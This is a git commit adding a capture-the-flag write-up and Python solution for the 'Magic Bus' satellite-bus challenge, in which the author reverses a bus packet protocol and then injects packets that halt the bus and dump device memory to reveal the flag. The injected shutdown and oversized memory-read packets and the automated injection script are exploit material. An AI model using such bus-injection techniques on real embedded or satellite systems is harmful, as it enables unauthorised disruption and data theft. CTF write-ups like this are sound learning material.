10
2
Fork 0

magic bus... ugh

This commit is contained in:
Hazel Levine 2020-05-26 01:28:27 -04:00
parent 5f364e4742
commit dd3df1366c
2 changed files with 327 additions and 0 deletions

View File

@ -0,0 +1,232 @@
# Magic Bus
**Category**: Satellite Bus
**Points (final)**: 91
**Solves**: 44 (this number taunts me)
*Important note:* Team BLAHAJ did not solve this problem until after the
competition, and it did not count toward our final point total.
> There's a very busy bus we've tapped a port onto, surely there is some juicy information hidden in the device memory... somewhere...
## Write-up
by [hazel (`arcetera`)](https://qtp2t.club/)
**I hate this problem. I hate this problem. I hate this problem. I hate this
problem. I literally hate this problem so much. This problem made me cry. I have
literally no words to describe the exact extent to which this problem has driven
me insane. This problem taunts me in my sleep. This problem taunts me while I am
awake. The extent to which I despise this problem is beyond words. I hate this.
I hate whoever made this. I want to burn this problem to the ground. This
problem has achieved active sentience and holds malice against me and the rest
of my team specifically. Had the competition not ended, this problem would hold
the rest of the world hostage.**
Furthermore, much of this writeup is *failed* attempts at a solution. Other
writeups may be more useful at determining success, despite our team eventually
finding a solution.
...anyway...
When netcatting into the server, a series of hex bytes appears. A cursory
analysis of these bytes reveals that all packets start with `^` and end with
`.`, aside from lines starting with byte CA. Decoding the data beginning with
byte CA reveals some 🧃🧃🧃. This output has `\xca\x00` stripped:
```
b'\xb2M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5'
```
I prefer water though. \#WaterDrinkers
While I was asleep, the rest of the team managed to reverse the protocol to a
decent extent. Namely, the format for strings beginning with `:\x00\x00>` and
`:\x00\x00?` and ending with `?` is:
- `\0x000000` (6 bytes)
- @ or ?
- A (7 bytes)
- @ (2 bytes)
- @ or ?
- `\xc1` (3 bytes)
An example:
```
b'\x00\x00\x008\x94S@\xc8.@A\x01:\xa0\xc0i\x11\xa1@|.@\xc1\x9b\x1c\xe6?'
: 00:00:00 > 38:94:53:40:c8:2e @ 1:3a:a0:c0:69:11:a1 @ 7c:2e @ 9b:1c:e6 ?
```
The following Python code decodes this packet structure:
``` python
def to_hex(b):
return ':'.join(hex(x)[2:] for x in b)
def decode_pkt(b):
if len(b) == 0:
return
if b[0] == 0xCA:
pass # raw data?
elif b[0] == ord(':'):
if b[3] == ord('>') or b[3] == ord('?'): # > or ?
field1 = to_hex(b[7:13]) # 6 bytes
field1end = chr(b[13]) #
field2 = to_hex(b[15:22]) # 7 bytes
if b[22] != ord('@'):
print('b[22] should be @ but is {}'.format(chr(b[22])))
field3 = to_hex(b[23:25])
field3end = chr(b[25])
c1 = b[26]
field4 = to_hex(b[27:30])
if b[30] != ord('?'):
print('b[30] is not ?')
print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, field3, field3end, field4))
elif b[0] == ord(';'):
print('delimiter') # end of previous packet?
else:
print(b[0])
print('unknown data')
print('\n')
```
Noting a delay between packets led me to derive the following packet structure:
- START packet, which is equal to the preceding END packet
- ONCE call, which occurs prior to a...
- ONCE packet
- JUICY DATA
- END call
- END packet, which is equal to the next START packet
This proved to be incorrect, but more on that later.
The following code differentiates between these packets from the netcat, where
the variable `rawn` is the raw byte string:
``` python
start = True
while True:
r.recvuntil('^')
raw = r.recvuntil('.')
rawn = bytes([94]) + raw
print(rawn)
v = raw.decode().split('+')
del v[-1]
h = bytes([int(i, 16) for i in v])
if h == b';\x00\x00?':
print("ONCE CALL")
elif h == b';\x00\x00>':
print("END CALL")
elif h.startswith(b':\x00\x00?'):
print(f"ONCE: {h[4:]}")
elif h.startswith(b':\x00\x00>'):
# notable delay between start and end each time
if start:
print(f"START: {h[4:]}")
start = False
else:
print("INJECTING")
r.send(inj)
print(f"END: {h[4:]}")
start = True
elif h.startswith(b'\xca'):
print(f"JUICE: {h}")
else:
print(f"???: {h}")
sys.stdout.flush()
```
I then noticed that post-text the string
`\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6` had the characters `{` and `6`
at the same point as `flag{oscar39616kilo`, which would correspond to a flag. I
graphed this and tried to find a function (or multiple) modeling a relation
here, but with R<sup>2</sup> being something like 0.39 for every relation I
tried, this was extremely unlikely.
We then tried reading the data sequentially from the buffer, from Juicy Data 00
to 04. Here's the entire string:
```
Juicy Data 00\x00\xc8\xf7\xeb\x15\x96=kp\\\xc9,^\xd5\xcf\\1\x99\x19w\x9a\xc6\xa9\x08e\x8dU\x92j7,\x00\xff#\xeb\x14\xb9)\x7f)\x85HV\xe3\x1d%?O\xbeY\xc6Juicy Data 01\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6\x81|\xfc\xd9\x9bk:\x1fh\xf05\xce\xddw5\xca\xdc\x87\xcc\xfa\x02MA\x02\x16\xdf\xe5\xfd\xa1\x083"\x84/\xfc\x1fJuicy Data 02\x00\xc0\x8f\xe7\x02\x91\xfd\xe1w\xfb\x82\x7f.\xa5\x04^\xa1#\xf9\xd7b\xfc\xfd\xd5\xcd\x00\xc0\xd4\xce\x86ahG\xf1OI\x82M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5a\x93\xb3\xc6P\x01u\x90\x9bM\xca~\xd2|\xd7\xa9\xac\x04r|\xff\x04N\xc4Juicy Data 04\x00Z\x83%$\x01\xf8\xa0\xd8\xa1L\xdc\x13\xc8\xdc\x17\x17\xa0u\x10\xbf\xf2K\xa5%\xe8\x1e\x0cK\xe8\xf3
```
Unfortunately, nothing meaningful was derived from this. There are a `{` and `}`
with bytes between them, but they aren't flag length.
I noticed that injecting instructions performed something, but I didn't think it
did anything notable. I injected various data at various points, but I never
managed to break out at the previous region of memory... which is where
gashapwn's *incredible* work came in.
If the packet `^3b+00+00+00.` is sent, the bus *stops sending data*, which is
decidedly confirmation that the server accepts data. The following inject has
the same effect:
```
^3b+00+00+30+.
^3b+00+00+31+.
^3b+00+00+32+.
^3b+00+00+33+.
^3b+00+00+34+.
^3b+00+00+34+.
^3b+00+00+35+.
^3b+00+00+36+.
^3b+00+00+37+.
```
In practice, only this last packet is needed to shut down the server.
If you send the packet `^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+c9+9d+e3+e7+c2+23+36+81+7c+fc+d9+9b+6b+3a+1f+68+f0+35+ce+dd+77+35+ca+dc+87+cc+.`,
the same packet is sent back.
This means that the juice packets deliminated with `\xca` are actually instructions.
By playing with the packet, the format appears to go:
- Byte 0: CA
- Byte 1-2: Memory offset
- Byte 3-end: Size of memory to return
...so if we ask for a really large chunk of data, we can get a dump.
With the inject:
```
b"^3b+00+00+37+."
b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+."
```
we can query for everything in memory. And we did.
### Full code
```{.python include=magic-bus.py}
```
Run it:
```
λ has-writeup/satellite-bus/magic-bus python magic-bus.py master 2h ⬡
Injection: ^3b+00+00+37+.
b'^3a+00+00+3e+00+00+00+33+17+43+3c+0b+68+40+41+4e+dc+a0+c0+3e+6c+a0+40+c4+96+3f+c1+f8+fc+e6+3f+.'
START: 0000003317433c0b6840414edca0c03e6ca040c4963fc1f8fce63f
: 00:00:00 > 33:17:43:3c:b:68 @ 4e:dc:a0:c0:3e:6c:a0 @ c4:96 ? f8:fc:e6 ?
b'^3b+00+00+3f+.'
ONCE CALL
delimiter
b'^3a+00+00+3f+00+00+00+38+94+53+40+c8+2e+40+41+01+3a+a0+c0+69+11+a1+40+7c+2e+40+c1+9b+1c+e6+3f+.'
ONCE: 00000038945340c82e4041013aa0c06911a1407c2e40c19b1ce63f
: 00:00:00 > 38:94:53:40:c8:2e @ 1:3a:a0:c0:69:11:a1 @ 7c:2e @ 9b:1c:e6 ?
b'^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+c9+9d+e3+e7+c2+23+36+81+7c+fc+d9+9b+6b+3a+1f+68+f0+35+ce+dd+77+35+ca+dc+87+cc+.'
JUICE: b'\xca\x00Dy Data 01\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6\x81|\xfc\xd9\x9bk:\x1fh\xf05\xce\xddw5\xca\xdc\x87\xcc'
b'^3b+00+00+3e+.'
END CALL
delimiter
b'^3a+00+00+3e+00+00+00+ce+49+d5+3b+e9+6b+3f+41+8f+71+a0+c0+fa+72+a0+40+17+e5+3f+c1+51+0a+e7+3f+.'
INJECTING
END: 000000ce49d53be96b3f418f71a0c0fa72a04017e53fc1510ae73f
: 00:00:00 > ce:49:d5:3b:e9:6b ? 8f:71:a0:c0:fa:72:a0 @ 17:e5 ? 51:a:e7 ?
b'^3b+00+00+37+.'
SHUT DOWN SUCCESSFUL
INJECTING AGAIN
b'^ca+00+00+4a+75+69+63+79+20+44+61+74+61+20+30+30+00+c8+f7+eb+15+96+3d+6b+70+5c+c9+2c+5e+d5+cf+5c+31+99+19+77+9a+c6+a9+08+65+8d+55+92+6a+37+2c+00+ff+23+eb+14+b9+29+7f+29+85+48+56+e3+1d+25+3f+4f+be+59+c6+4a+75+69+63+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+c9+9d+e3+e7+c2+23+36+81+7c+fc+d9+9b+6b+3a+1f+68+f0+35+ce+dd+77+35+ca+dc+87+cc+fa+02+4d+41+02+16+df+e5+fd+a1+08+33+22+84+2f+fc+1f+4a+75+69+63+79+20+44+61+74+61+20+30+32+00+c0+8f+e7+02+91+fd+e1+77+fb+82+7f+2e+a5+04+5e+a1+23+f9+d7+62+fc+fd+d5+cd+00+c0+d4+ce+86+61+68+47+f1+4f+49+82+4d+2a+f9+48+ac+79+76+51+7d+d4+f2+a0+cd+c9+4a+75+69+63+79+20+44+61+74+61+20+30+33+00+4d+ae+40+9a+d8+39+e2+85+b2+59+d6+2f+2d+c9+d0+fb+92+d2+c4+59+aa+5b+20+42+c6+b5+61+93+b3+c6+50+01+75+90+9b+4d+ca+7e+d2+7c+d7+a9+ac+04+72+7c+ff+04+4e+c4+4a+75+69+63+79+20+44+61+74+61+20+30+34+00+5a+83+25+24+01+f8+a0+d8+a1+4c+dc+13+c8+dc+17+17+a0+75+10+bf+f2+4b+a5+25+e8+1e+0c+4b+e8+f3+23+42+76+48+66+77+40+06+4f+e1+53+2c+f4+1b+08+0c+32+a8+81+42+4a+75+69+63+79+20+44+61+74+61+20+30+35+00+2c+bb+86+6d+c2+d6+4e+15+02+43+30+0a+4f+63+b2+d0+a5+19+43+33+26+dc+a9+52+81+6a+65+1a+4e+bb+29+7b+76+af+e8+38+85+36+4d+66+6c+61+67+7b+6f+73+63+61+72+33+39+36+31+36+6b+69+6c+6f+3a+47+43+78+6d+68+4f+52+59+61+36+35+59+30+50+6d+52+74+46+6d+6c+46+53+42+6d+6e+76+49+6d+45+69+57+67+63+6f+47+32+70+6f+73+49+5f+6e+56+51+51+39+5a+4b+35+44+65+4b+76+56+53+76+69+6f+2d+4c+4c+2d+36+58+32+6a+66+52+46+77+39+42+34+58+71+34+6f+56+51+44+69+71+46+44+74+50+4d+7d+00+0d+70+a9+16+2e+df+4e+64+76+e3+91+15+87+6b+ad+72+22+af+71+ad+6c+91+9d+bd+3e+5e+34+67+.'
JUICE: b'\xca\x00\x00Juicy Data 00\x00\xc8\xf7\xeb\x15\x96=kp\\\xc9,^\xd5\xcf\\1\x99\x19w\x9a\xc6\xa9\x08e\x8dU\x92j7,\x00\xff#\xeb\x14\xb9)\x7f)\x85HV\xe3\x1d%?O\xbeY\xc6Juicy Data 01\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6\x81|\xfc\xd9\x9bk:\x1fh\xf05\xce\xddw5\xca\xdc\x87\xcc\xfa\x02MA\x02\x16\xdf\xe5\xfd\xa1\x083"\x84/\xfc\x1fJuicy Data 02\x00\xc0\x8f\xe7\x02\x91\xfd\xe1w\xfb\x82\x7f.\xa5\x04^\xa1#\xf9\xd7b\xfc\xfd\xd5\xcd\x00\xc0\xd4\xce\x86ahG\xf1OI\x82M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5a\x93\xb3\xc6P\x01u\x90\x9bM\xca~\xd2|\xd7\xa9\xac\x04r|\xff\x04N\xc4Juicy Data 04\x00Z\x83%$\x01\xf8\xa0\xd8\xa1L\xdc\x13\xc8\xdc\x17\x17\xa0u\x10\xbf\xf2K\xa5%\xe8\x1e\x0cK\xe8\xf3#BvHfw@\x06O\xe1S,\xf4\x1b\x08\x0c2\xa8\x81BJuicy Data 05\x00,\xbb\x86m\xc2\xd6N\x15\x02C0\nOc\xb2\xd0\xa5\x19C3&\xdc\xa9R\x81je\x1aN\xbb){v\xaf\xe88\x856Mflag{oscar39616kilo:GCxmhORYa65Y0PmRtFmlFSBmnvImEiWgcoG2posI_nVQQ9ZK5DeKvVSvio-LL-6X2jfRFw9B4Xq4oVQDiqFDtPM}\x00\rp\xa9\x16.\xdfNdv\xe3\x91\x15\x87k\xadr"\xafq\xadl\x91\x9d\xbd>^4g'
```
Hey look, a flag!
I hate this problem so much. At the time of me writing this, it's 1:30 AM and
I'm sitting in my kitchen on my Lenovo(tm) ThinkPad(tm) T440(tm). I genuinely
don't know how this got so many solves. I hate this. Goodnight.
## Resources and other writeups
- God I wish there was any

View File

@ -0,0 +1,95 @@
#!/usr/bin/env python3
import time
import sys
from pwnlib import tubes
TICKET = 'ticket{oscar39616kilo:GPvmwTTzj5JlUEWS4qze0U3-MIIoybpJ5VAClSr3D6-3uOBwYuvsP1RK8jfQixupxQ}'
r = tubes.remote.remote('bus.satellitesabove.me', 5041)
r.send(TICKET+'\n')
time.sleep(0.5)
r.recvuntil('Ticket please:\n', drop=True)
def to_hex(b):
return ':'.join(hex(x)[2:] for x in b)
def decode_pkt(b):
if len(b) == 0:
return
if b[0] == 0xCA:
pass # raw data?
elif b[0] == ord(':'):
if b[3] == ord('>') or b[3] == ord('?'): # > or ?
field1 = to_hex(b[7:13]) # 6 bytes
field1end = chr(b[13]) #
field2 = to_hex(b[15:22]) # 7 bytes
if b[22] != ord('@'):
print('b[22] should be @ but is {}'.format(chr(b[22])))
field3 = to_hex(b[23:25])
field3end = chr(b[25])
c1 = b[26]
field4 = to_hex(b[27:30])
if b[30] != ord('?'):
print('b[30] is not ?')
print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, field3, field3end, field4))
elif b[0] == ord(';'):
print('delimiter') # end of previous packet?
else:
print(b[0])
print('unknown data')
print('\n')
start = True
inj = b"^3b+00+00+37+."
inj2 = b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+."
dont = False
inj2_b = False
print("Injection: " + inj.decode("utf-8"))
while True:
r.recvuntil('^')
raw = r.recvuntil('.')
rawn = bytes([94]) + raw
print(rawn)
v = raw.decode().split('+')
del v[-1]
h = bytes([int(i, 16) for i in v])
if h == b';\x00\x00?':
print("ONCE CALL")
elif h == b';\x00\x00>':
print("END CALL")
elif h.startswith(b':\x00\x00?'):
print(f"ONCE: {h[4:].hex()}")
elif h.startswith(b'\x3b\x00\x00\x37'):
print("SHUT DOWN SUCCESSFUL")
dont = True
inj2_b = True
print("INJECTING AGAIN")
r.send(inj2)
elif h.startswith(b':\x00\x00>'):
# notable delay between start and end each time
if start:
print(f"START: {h[4:].hex()}")
start = False
elif inj2_b == False:
print("INJECTING")
r.send(inj)
print(f"END: {h[4:].hex()}")
start = True
else:
print("INJECTING AGAIN")
r.send(inj2)
print(f"END: {h[4:].hex()}")
start = True
elif h.startswith(b'\xca'):
print(f"JUICE: {h}")
else:
dont = True
print(f"???: {h.hex()}")
if not dont:
decode_pkt(h)
dont = False
sys.stdout.flush()